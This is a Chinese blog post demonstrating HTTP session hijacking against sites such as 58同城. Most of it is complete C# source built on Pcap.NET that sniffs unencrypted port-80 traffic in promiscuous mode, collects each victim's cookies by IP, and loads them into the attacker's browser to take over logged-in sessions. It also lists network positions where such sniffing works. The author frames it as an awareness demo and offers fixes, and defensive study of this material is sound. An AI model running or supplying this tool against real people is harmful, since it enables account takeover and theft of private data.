文:百宝门—SSO顾问
原文链接: http://www.cnblogs.com/baibaomen/p/http-session-hijack.html
在我的 单点登录SSO示例代码
在此写个基于网络包嗅探的HTTP会话劫持程序,给大家一个直观的危害性展示。
示例中,我在一台Mac上登录58同城,被另一台Windows上的程序劫持。“黑客”查看我的信息畅行无阻,还顺手改了我的头像。
先直接上演示动画吧,48秒:
58同城的用户登录是采用了HTTPS的,仍然逃不过会话劫持。大部分较规范的网站,都是类似模式:登录采用HTTPS,主要流量走HTTP。
随手测试发现,使用该模式的站点,包括csdn、qq邮箱(是的它竟然还有http版的)等等,很多都未做到会话劫持免疫。博客园其实也中招了,但它把敏感操作都放到了HTTPS,所以没太多影响。
其实,对于用HTTP走流量、HTTPS走认证的站点,略施改造,是可以对会话劫持免疫的。各大网站可以自行下载我的程序自查是否存在缺陷,我可以提供针对性免疫补丁支持。
以下是该示例的主要代码,蛮简单,引用了Pcap.NET组件,需要对应安装WinPcap。基于该组件的网络数据包嗅探,只是做会话劫持的一种途径,而且有应用局限性,所以示例代码更多是一个演示程序而非黑客工具。下面会具体讲到。
想跟进最新代码的还请watch我github上源码:https://github.com/baibaomen/Baibaomen.HttpHijacker
1using PcapDotNet.Core;
2using PcapDotNet.Packets;
3using System;
4using System.Collections.Concurrent;
5using System.Collections.Generic;
6using System.Diagnostics;
7using System.Linq;
8using System.Runtime.InteropServices;
9using System.Text;
10using System.Threading.Tasks;
11using System.Windows.Forms;
12
13namespace Baibaomen.HttpHijacker
14{
15 public partial class FormHijacker : Form
16 {
17 ///
18 /// 被嗅探到的各个设备的cookie集合。
19 ///
20 ConcurrentDictionarystring, ConcurrentDictionarystring, string>> clientCookies = new ConcurrentDictionarystring, ConcurrentDictionarystring, string>>();
21
22 public FormHijacker()
23 {
24 InitializeComponent();
25 }
26
27 private void FormHijacker_Load(object sender, EventArgs e)
28 {
29 StartHijack();
30 }
31
32 public void StartHijack()
33 {
34 Task.Run(delegate {
35 IList allDevices = LivePacketDevice.AllLocalMachine;
36
37 if (allDevices.Count == 0)
38 {
39 MessageBox.Show('未找到网卡。请确认已安装WinPcap。');
40 return;
41 }
42
43 foreach (var selectedDevice in allDevices)
44 {
45 Task.Run(delegate
46 {
47 PacketCommunicator communicator =
48 selectedDevice.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000);
49 if (communicator.DataLink.Kind != DataLinkKind.Ethernet)
50 {
51 return;
52 }
53
54 using (BerkeleyPacketFilter filter = communicator.CreateFilter('tcp and dst port 80'))
55 {
56 communicator.SetFilter(filter);
57 }
58 communicator.ReceivePackets(0, PacketHandler);
59 });
60 }
61
62 this.BeginInvoke(new EventHandler(delegate {
63 lbMsg.Text = '监听已启动';
64 }));
65 });
66 }
67
68 private void PacketHandler(Packet packet)
69 {
70 try
71 {
72 var sourceIP = packet.Ethernet.IpV4.Source.ToString();
73
74 var http = packet?.Ethernet?.IpV4?.Tcp?.Http;
75 if (http == null || http.Header == null) return;
76
77 if (http.IsRequest && http.IsValid)
78 {
79 String msg = http.Decode(Encoding.UTF8);
80
81 //只截获网页正文请求。
82 if (!string.IsNullOrEmpty(msg))
83 {
84 var lines = msg.Split(new string[] { '\r\n' }, StringSplitOptions.RemoveEmptyEntries);
85 var host = lines.FirstOrDefault(x => x.StartsWith('Host: '))?.Substring('Host: '.Length);
86 var cookie = lines.FirstOrDefault(x => x.StartsWith('Cookie: '))?.Substring('Cookie: '.Length);
87
88 if (string.IsNullOrEmpty(host)) return;
89
90 if (!string.IsNullOrEmpty(cookie))
91 {
92 var cCookies = clientCookies.GetOrAdd(sourceIP, new ConcurrentDictionarystring, string>());
93 cCookies.AddOrUpdate(host, cookie, (key, oldVal) => cookie);
94 }
95
96 if (msg.StartsWith('GET ') && (msg.Contains('\nAccept: text/html') || msg.Contains('\nAccept: text/plain')))//筛除对资源文件等的请求,让数据更干净。
97 {
98 var pathAndQuery = lines[0].Substring(0, lines[0].LastIndexOf(' HTTP/')).Substring('GET '.Length);
99 this.BeginInvoke(new EventHandler(delegate {
100 lstSessions.Items.Insert(0, $'{sourceIP}\t{DateTime.Now}\thttp://{host + pathAndQuery}');
101 }));
102 }
103 }
104 }
105 }
106 catch//可能嗅探数据不完整,丢弃。
107 {
108 }
109 }
110
111 [DllImport('wininet.dll', CharSet = CharSet.Auto, SetLastError = true)]
112 public static extern bool InternetSetCookie(string lpszUrlName, string lbszCookieName, string lpszCookieData);
113
114 private void btnHijack_Click(object sender, EventArgs e)
115 {
116 var selected = lstSessions.SelectedItem;
117
118 if (selected == null)
119 {
120 MessageBox.Show('请选择待劫持会话');
121 return;
122 }
123
124 var segments = selected.ToString().Split('\t');
125 var ip = segments[0];
126 var url = segments[2];
127
128 var cookies = clientCookies[ip];
129
130 foreach (var domainCookie in cookies) //将cookie设置为浏览的cookie
131 {
132 foreach (var item in domainCookie.Value.Split(';'))
133 {
134 try
135 {
136 var name = item.Substring(0, item.IndexOf('=')).Trim();
137 var value = item.Substring(item.IndexOf('=') + 1);
138
139 InternetSetCookie(
140 'http://' + domainCookie.Key,
141 name,
142 value + ';expires=' + DateTime.UtcNow.AddMinutes(10).ToString('R'));
143 }
144 catch { }//有不符合格式的数据。可能嗅探数据不完整,丢弃。
145 }
146 }
147
148 if (lstSessions.SelectedItem != null)
149 {
150 Process.Start('iexplore.exe', url);
151 }
152 }
153
154 }
155}
会话劫持可以在发生在不少地方/途径:
通过专门设置的路由器/交换机;所有Hub;同一台物理机上的虚拟机
所有上网代理
可被ARP攻击的局域网络
不安全的无线网络
网络运营商具备劫持能力。以前访问http网站,常常能看到网络运营商注入的广告,这说明它是在解析HTTP数据的
可见能够发生会话劫持的场景比较广。
本示例采用的是上述第一个途径,该途径有较大局限性。这是因为,现在除了部分单位或学校还在用廉价的Hub,大部分是通过路由器、交换机接入网络的。对此只有在支持的设备上特别配置并指定的机器,才能嗅探到其它机器的数据包。
对于同一台物理机上的虚拟机,因为它们对应一块物理网卡,所以无需交换机、路由器上做设置,就能嗅探到彼此数据。使用虚拟机环境是一个运行本示例的快捷途径。
HTTP会话劫持
HTTP会话劫持主要是web应用程序,其原理是Web应用程序是通过2种方式来判断和跟踪不同用户的:Cookie或者Session(也叫做会话型Cookie)。其中Cookie是存储在本地计算机上的,过期时间很长,所以针对Cookie的攻击手段一般是盗取用户Cookie然后伪造Cookie冒充该用户;而Session由于其存在于服务端,随着会话的注销而失效(很快过期),往往难于利用。
联系客服